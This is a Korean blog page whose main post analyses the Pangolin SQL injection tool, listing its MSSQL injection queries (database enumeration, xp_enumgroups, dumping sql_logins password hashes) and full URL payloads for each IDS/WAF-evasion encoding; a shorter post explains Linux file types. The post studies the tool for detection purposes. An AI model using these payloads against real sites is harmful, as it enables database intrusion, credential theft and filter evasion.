Pangolin Professional Edition v3.0.0.1011 쿼리 간단 분석

web/injection 2010. 1. 7. 02:33
http://malwarelab.tistory.com/64


악성코드는 아니지만 SQL Injection Tool로 유명한 판골린을 분석해보았습니다.
어떤 쿼리를 날려서 인젝션을 수행하는지...

이전 버전 사용할때 대부분 옵션은 그냥 디폴트로 놓고 사용했었는데요
이번에는 옵션을 바꿔가면서 어떤 쿼리를 날리는지 확인해봤습니다.

먼저 확인해 볼 부분은 Setting -> Advanced입니다.




Replace space as /**/ , + , %09 , [TAB]
Bypass firewall filter when 'select' is not allow
Auto-analyzing keyword
URI Encode Mode
Enable BT Model (bypass firewall)
Stop after error happens(access data)
Auto check record count of tables



옵션은 모두 7가지였고 공백(space)을 대체하는 곳에서 4가지 기능이 있었습니다.
디폴트 옵션은 Auto-analyzing keyword입니다.

하나씩 선택해서 패킷을 떠 보았는데 테스트는 실행버튼() 클릭해서 기본적으로 수집할 대상을 선정한 후에 Select All, Go 버튼을 클릭해서 기본 정보만 수집하는 테스트만 했습니다.

먼저 어떤 쿼리를 날리는지부터 확인해보고 각 옵션간의 어떤 차이점을 보이는지 확인해보도록 하겠습니다.


0x01 Pangolin SQL Injection Query

 and db_name()>0--
 and @@version>1--
 and db_name()>0--
 and @@servername>0--
 and host_name()=0--
 and system_user>0--
 and user>0--
 and cast(is_srvrolemember(0x730079007300610064006d0069006e00) as nvarchar(1))+char(124)=1 and 1=1
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 1 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 2 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 3 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 4 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 5 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 and (select top 1 cast([name] as nvarchar(500))+char(94) from [master].[dbo].[sysdatabases] where [dbid] in (select top 6 [dbid] from [master].[dbo].[sysdatabases] order by [dbid] desc))>0--
 ;drop table pangolin_test_table;--
 ;create table pangolin_test_table(name nvarchar(255),low nvarchar(255),high nvarchar(255),type nvarchar(255));--
 ;insert pangolin_test_table exec master.dbo.xp_availablemedia;--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([type] as nvarchar(4000)) from(select top  1 [name],[low],[high],[type] from pangolin_test_table group by [name],[low],[high],[type] order by [name]) t order by [name] desc)--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([type] as nvarchar(4000)) from(select top  2 [name],[low],[high],[type] from pangolin_test_table group by [name],[low],[high],[type] order by [name]) t order by [name] desc)--
 ;drop table pangolin_test_table;--
 ;drop table pangolin_test_table;--
 ;create table pangolin_test_table
(name nvarchar(255),description nvarchar(4000));--
 ;insert pangolin_test_table exec master.dbo.xp_enumgroups;--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([description] as nvarchar(4000)) from(select top  1 [name],[description] from pangolin_test_table group by [name],[description] order by [name]) t order by [name] desc)--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+cast([description] as nvarchar(4000)) from(select top  2 [name],[description] from pangolin_test_table group by [name],[description] order by [name]) t order by [name] desc)--
 ;drop table pangolin_test_table;--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+isnull(master.dbo.fn_varbintohexstr([password_hash]),char(32)) from(select top  1 [name],[password_hash] from [master].[sys].[sql_logins] order by [name]) t order by [name] desc)--
 and 0<(select top 1 cast([name] as nvarchar(4000))+char(94)+isnull(master.dbo.fn_varbintohexstr([password_hash]),char(32)) from(select top  2 [name],[password_hash] from [master].[sys].[sql_logins] order by [name]) t order by [name] desc)--


기본적으로 날리는 쿼리는 위와 같습니다.
빨간색으로 표시된 부분을 보시면 pangolin_test_table이라는 테이블을 만들어서(create) 특정 데이터를 삽입(insert)한 후에 이 테이블에서 데이터를 선택(select)하고 모든 작업이 끝나면 테이블을 삭제(drop)하고 있습니다.

이렇게해서 확인된 정보는 UI에 출력됩니다.




기본 옵션(Auto-analyzing keyword)을 사용하면 공백(space)을 %20으로 대체해서 쿼리를 날립니다.
수작업할때는 그냥 공백으로 넣어도 결국 %20으로 바꿔서 URL을 요청하는 것과 동일한 방식입니다.


0x02 Pangolin SQL Injection Query by Advanced Setting

기본적으로 날리는 쿼리는 동일합니다. 다만 SQL Injection할 쿼리를 어떤 형태로 보내느냐하는 차이점만 있습니다.
하나씩 옵션별로 나타나는 특징들만 살펴보도록 하겠습니다.


Replace space as /**/

공백문자열을 /**/ 으로 대체합니다. IDS 패턴 우회기법에서 종종 사용하는 기법입니다.

/board_view.asp?num=16/**/and/**/(select/**/top/**/1/**/cast([name]/**/as/**/nvarchar(500))%2bchar(94)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/[dbid]/**/in/**/(select/**/top/**/1/**/[dbid]/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/[dbid]/**/desc))%3E0--

위와 같은 방법으로 /**/을 넣게 되면 IDS에서 탐지됩니다. -_-;;
문자열로 탐지하는 IDS를 우회기법은 예를 들어 select를 탐지한다면 se/**/le/**/ct 같은 방식으로 쿼리를 날려야 우회가 가능한데 이 옵션은 그냥 공백만 /**/으로 대체했기 때문에 IDS에서 탐지될 확률이 아주 높습니다.


Replace space as +

/board_view.asp?num=16+and+(select+top+1+cast([name]+as+nvarchar(500))%2bchar(94)+from+[master].[dbo].[sysdatabases]+where+[dbid]+in+(select+top+1+[dbid]+from+[master].[dbo].[sysdatabases]+order+by+[dbid]+desc))%3E0--


Replace space as %09

/board_view.asp?num=16%09and%09(select%09top%091%09cast([name]%09as%09nvarchar(500))%2bchar(94)%09from%09[master].[dbo].[sysdatabases]%09where%09[dbid]%09in%09(select%09top%091%09[dbid]%09from%09[master].[dbo].[sysdatabases]%09order%09by%09[dbid]%09desc))%3E0--


Replace space as [TAB]

/board_view.asp?num=16%09and%09(select%09top%091%09cast([name]%09as%09nvarchar(500))%2bchar(94)%09from%09[master].[dbo].[sysdatabases]%09where%09[dbid]%09in%09(select%09top%091%09[dbid]%09from%09[master].[dbo].[sysdatabases]%09order%09by%09[dbid]%09desc))%3E0-- 

%09가 Character형으로 TAB을 의미하기 때문에 %09 옵션이나 [TAB] 옵션이나 동일한 쿼리를 날리고 있습니다.


Bypass firewall filter when 'select' is not allow

select라는 문자열이 허용되지 않을 경우 이를 우회하는 옵션입니다.

/board_view.asp?num=16%20and%20(se%l%e%c%t%20top%201%20cast([name]%20as%20nvarchar(500))%2bchar(94)%20from%20[master].[dbo].[sysdatabases]%20where%20[dbid]%20in%20(se%l%e%c%t%20top%201%20[dbid]%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid]%20desc))%3E0--

select를 se%l%e%c%t로 변경시켜 쿼리를 날립니다. %만 있는 경우 웹서버를 이를 무시하기 때문에 결국 select라는 문자열만 인식하게 됩니다. HTTP를 통해 들어오는 패킷을 그대로 확인하는 IDS나 WAF라면 탐지를 못하겠지만 이를 웹서버에서 인식하는 형태로 디코딩해서 탐지하는 장비라면 이 옵션 또한 무용지물이 되겠죠.


URI Encode Mode

/board_view.asp?num=%31%36%20%61%6e%64%20%28%73%65%6c%65%63%74%20%74%6f%70%20%31%20%63%61%73%74%28%5b%6e%61%6d%65%5d%20%61%73%20%6e%76%61%72%63%68%61%72%28%35%30%30%29%29%2b%63%68%61%72%28%39%34%29%20%66%72%6f%6d%20%5b%6d%61%73%74%65%72%5d%2e%5b%64%62%6f%5d%2e%5b%73%79%73%64%61%74%61%62%61%73%65%73%5d%20%77%68%65%72%65%20%5b%64%62%69%64%5d%20%69%6e%20%28%73%65%6c%65%63%74%20%74%6f%70%20%31%20%5b%64%62%69%64%5d%20%66%72%6f%6d%20%5b%6d%61%73%74%65%72%5d%2e%5b%64%62%6f%5d%2e%5b%73%79%73%64%61%74%61%62%61%73%65%73%5d%20%6f%72%64%65%72%20%62%79%20%5b%64%62%69%64%5d%20%64%65%73%63%29%29%3E%30%2d%2d


모든 문자열을 헥사값으로 바꿔서 쿼리를 날립니다. 뭐 결국 디코딩하면 위에서 보셨던 쿼리랑 동일한 쿼리가 나오겠지만요..


Enable BT Model (bypass firewall)

언어를 한글로 바꾸면 "변태모드"라고 나옵니다. -_-;;

/board_view.asp?num=16%20an%d%20(se%l%e%c%t%20to%p%201%20ca%st([name]%20as%20nvarch%ar(500))%2bch%ar(94)%20fr%om%20[master].[dbo].[sysdatabases]%20wh%ere%20[dbid]%20in%20(se%l%e%c%t%20to%p%201%20[dbid]%20fr%om%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid]%20desc))%3E0--

중간중간에 %를 마구잡이로 집어 넣어서 쿼리를 날립니다. 그래서 변태모드인가 봅니다.


Stop after error happens(access data)

/board_view.asp?num=16%20and%20(select%20top%201%20cast([name]%20as%20nvarchar(500))%2bchar(94)%20from%20[master].[dbo].[sysdatabases]%20where%20[dbid]%20in%20(select%20top%201%20[dbid]%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid]%20desc))%3E0--

기본 옵션인 Auto-analyzing keyword와 동일하게 공백을 %20으로 만들어서 보냅니다. 옵션 이름으로 해석하면 데이터 접근시 에러가 발생하면 멈추라는 옵션인 듯 한데 어떤 에러에서 멈추라는 의미인지 확인을 못했습니다. 제가 테스트한 서버에서는 계속 타입 불일치로 500 에러를 내면서 계속 결과를 받아왔습니다. 이 결과로 보아 원하는 값을 계속 가져올 수 없는 에러가 발생할 때 멈추라는 것으로 생각할 수 있겠습니다.


Auto check record count of tables

/board_view.asp?num=16%20and%20(select%20top%201%20cast([name]%20as%20nvarchar(500))%2bchar(94)%20from%20[master].[dbo].[sysdatabases]%20where%20[dbid]%20in%20(select%20top%201%20[dbid]%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid]%20desc))%3E0--


다른 기능들은 그냥 한번 써보시면 어떤 기능인지 대충 감은 잡히실겁니다.
좀 더 자세하게 보고 싶었지만 귀찮아서 여기서 끝낼까 합니다...(별로 한것도 없는데 여기서 끝내냐!!! -_-;;)


한가지 달라졌던건 MSSQL2005에서 xp_cmdshell을 이용해서 명령어를 실행하는 부분이었습니다.
MSSQL2005에서는 xp_cmdshell이 기본적으로 막혀 있기 때문에 다시 활성화시켜야 합니다. 그런데 2.x 버전에서는 DB Type이 MSSQL2005 with Error인 경우 활성화를 시켜도 잘 실행이 되지 않았습니다.

Pro 3.0에서는 Restore xp_cmdshell 옵션이 잘 먹혀서 명령어 실행하는데 문제가 없었습니다.
단, 여전히 이상한건 결과가 한번이 아니라 5번 정도 나온다는것이었습니다.
왜 그런지는 아직 확실히 파악을 못했습니다. -_-


다른 더 많은 기능들에 대한 분석은 나중에 시간내서 차분히 해봐야겠습니다.

'web > injection' 카테고리의 다른 글

쉽게쓴 sql injection  (0) 2010.11.13
SQL Injection 정리  (0) 2010.01.27
:

Linux 파일의 종류-

system/linux 2010. 1. 6. 22:47

◎Linux에서는 모든 것이 파일 단위로 구성되며 계층적 구조를 형성하고 파일이름, I-node,데이터 블록의 세가지 요소를 갖고있다.

 

-파일이름 : 사용자가 파일을 접근하고 조작하는데 사용

 

-I-node : 파일을 기술하는 디스크 상의 데이터 구조. 파일에 대한 정보를 기록하기 위해 사용

             I-node는 각각의 파티션 마다 0부터 시작하는 정수의 형태를 가지고 있으므로 서로 다른 파티션이라도 같은 I-node를 가질수 있음.

   *I-node에 저장된 정보 : 파일의 소유자(사용자,그룹), 파일의 액세스 모드, 파일의 타임스탬프(파일의 마지막 수정, 액세스), 파일의 종류.

   *I-node확인

 #ls -il

-데이터 블록 : 실제 파일 데이터 영역

 

-일반 파일 : 파일의 종류에 대해 확인 가능

 #ls -lF

-rw-r--r--  1  root  root  1301  7월  18  16:55  anaconda-ks.cfg

 

-디렉토리 파일 : 특수 파일로 서로 연관되어 있는 파일들을 하나의 그룹으로 만들어 저장하도록 구분되어 있는 공간을 의미. 디렉토리에는 최소 2개의 I-node번호를 포함함 -> 현재디렉토리를 의미하는 . 과 상위 디렉토리를 의미하는 .. 의 I-node번호 존재.

 

-링크 파일

 

   *심볼릭 링크 =소프트 링크 : 윈도우의 바로가기 아이콘과 비슷. 다른 파일로의 경로를 가리키는 파일이므로 심볼릭 링크 파일이 삭제가 되어도 실제 원본 파일에는 영향을 주지 않음.

                                        서로 다른 파일 시스템 내에서도 링크가 가능

             명령어 위치(/bin/ln)

#ln -s [원본파일] [심볼릭링크 파일]

ex)

#ls -il /dir1/file1

1268199  lrwxrwxrwx  1  root  root  11  9월  21  13:26  dir1/file1 -> /root.file1

//  /root/file1을 /root/dir1/file1으로 심볼릭 링크를 만든후 확인

 

-하드 링크 : 원본 파일을 복사한 다음 사본을 만듬. 동일한 I-node를 갖는 파일을 생성하는 것.

             명령어 위치(/bin/ln)

 #ln [원본파일] [하드링크파일]

ex)

#ls -il dir1/file1

1268195  -rw-r--r--  2  root  root  0  9월  20  00:28  dir1/file1

#ls -il file1

1268195  -rw-r--r--  2  root  root  0  9월  20  00:28  file1

 

-디바이스 파일 : 하드웨어나 주변 기기들 나타내는 파일 ex)하드디스크, 플로피 디스크, 프린터, 마으스 등..

 

   *블록 디바이스 파일(Block Device File) : 입,출력시에 커널 내의 특정 버퍼들을 이용. 한번에 크기가 큰 블록 단위로 데이터를 입출력.

      블록 디바이스 파일을 사용하는 Device : 하드디스크, 플로피 디스크, 데이프 드리아버, 광자기 드라이브

 #ls -l

brw-rw----  1  root root ~~~~~~~~~~~

   *캐릭터 디바이스 파일(Character Device File) : 시스템의 I/O 버퍼를 사용하지 않고 바이트 단위로 데이터를 입출력함.

       캐릭터 디바이스 파일을 사용하는 Device: 터미널, 프린터, 플로터

 #ls -l

crw-rw---- 1 root root ~~~~~~~~~~~~~~~

 


'system > linux' 카테고리의 다른 글

리눅스보안 - 필수 보안  (0) 2010.07.21
리눅스 기본 명령어  (0) 2010.06.29
rz // sz  (0) 2010.06.29
linux file system  (0) 2010.01.31
리눅스 명령어 총집합  (0) 2010.01.27
:

tistory start -

cl is - 2009. 12. 31. 15:40
- by cl

'cl is -' 카테고리의 다른 글

travel info  (0) 2016.01.12
: